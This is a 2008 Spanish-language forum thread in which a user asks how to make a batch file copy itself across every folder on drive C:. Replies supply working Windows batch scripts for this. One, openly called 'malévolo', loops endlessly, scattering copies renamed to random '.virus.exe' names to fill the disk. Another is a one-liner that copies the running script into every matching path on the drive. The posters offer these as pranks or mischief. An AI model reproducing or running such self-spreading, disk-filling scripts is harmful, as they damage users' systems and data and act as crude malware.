Título: archivo por todos lados Publicado por: pastillas en 13 Abril 2008, 07:25 am como hago para copiar un archivo por todo el disco C:???
o sea q corro el batch y un archivo X se copie por C: , C:\windows, C:\archivos de programa y asi por todos los directorios? Título: Re: archivo por todos lados Publicado por: ~[uNd3rc0d3]~ en 18 Abril 2008, 02:50 am que se copie 1 vez? o varias veces?
abri el cmd y teclea copy /? Título: Re: archivo por todos lados Publicado por: No_NICK en 4 Mayo 2008, 23:18 pm .... jajajaja como me ha divertido tú pregunta que se copie por todos lados que maldad quieres hacer muchachon jejejejeje bueno aquí te dejo uno que se copia en todas las carpetas que estén como variables de entorno...
Citar :: ejemplo 1: :: este es inocuo lo único que hace es copiar un archivo de n lugar a otro :: para que veas el concepto.... echo off :: echo epale > epale.txt echo ahora me copiare >> epale.txt echo en todas tus variables de entorno>> epale.txt echo luego con el buscador de windows me buscas y me eliminas >> epale.txt for /f " delims== tokens=1*" %%a in ('set') do set j=%%%%a%% && call :ini :: :ini for /f " delims== tokens=1*" %%a in ('echo %j%') do set k=%%a copy epale.txt %k% cls goto :EOF --------------------------------------------------------------------------------- :: ejemplo 2: :: Este es malévolo copiara una cantidad de archivos por todos lados sin parar :: Usar con precaución xD :: debes cambiar la linea "copy... epale.txt" por el nombre del archivo que quieras :: copiar por todos lados xD :: ejemplo: archivo.xls en ves de epale.txt echo off :bucle cls for /f " delims== tokens=1*" %%a in ('set') do set j=%%%%a%% && call :ini goto bucle :ini for /f " delims== tokens=1*" %%a in ('echo %j%') do set k=%%a copy /y epale.txt %k% && ren %k%\epale.txt %Random%.virus.exe cls goto :EOF :: también con un poco de imaginación puedes hacer otras cosillas :: ... y bueno uno mas entendible pero solo tiene dos niveles... Citar :: Es totalmente inocuo lo único que hace es escribir :: el archivo epale por todos lados xD :: le pudes agregar un bucle y un %Random% :: de esa manera llenara el disco duro de el bendito archivo :: Primero creamos un archivo en un directorio temporal echo epale > %temp%\epale.txt :: esperamos hasta q se cree el achivito echo %errorlevel%>nul :: luego este archivo lo asignamos a una variable con el nombre var set var=%temp%\epale.txt cd %HomeDrive%\ :: Y con el comado for listamos todas las carpetas q están en c: FOR /D %%A IN (*) DO set p=\%%A && call :ini :ini set j=%HomeDrive%%p% cd %j% set y="%j%" copy %var% %y% :: luego listamos las carpetas de un nivel superior FOR /D %%B IN (*) DO set f="%j%%%B" && copy %var% %f% cd %HomeDrive%\ goto :EOF .... Saludos Título: Re: archivo por todos lados Publicado por: BlueRav3n en 3 Septiembre 2008, 04:02 am Buenas soy nuevo en el foro...hace tiempo estuve trabajando en un archivo asi..no seria mas facil el sgte codigo para copiar un archivo en todos los directorios..es sencillo pero potente..
@echo off cd \ echo texto >> C:\texto.txt for /R /D %%a in (*) do (cd %%a && copy /y texto.txt %%a) exit Yo lo probe y me lo copia en toooodos los directorios de windows.. >:D >:D ;D Título: Re: archivo por todos lados Publicado por: Darioxhcx en 3 Septiembre 2008, 05:23 am FOR /R %homedrive% %%x in ( archivo.bat ) Do ( copy /y %0 "%%x" )
con una sola linea xD saludos |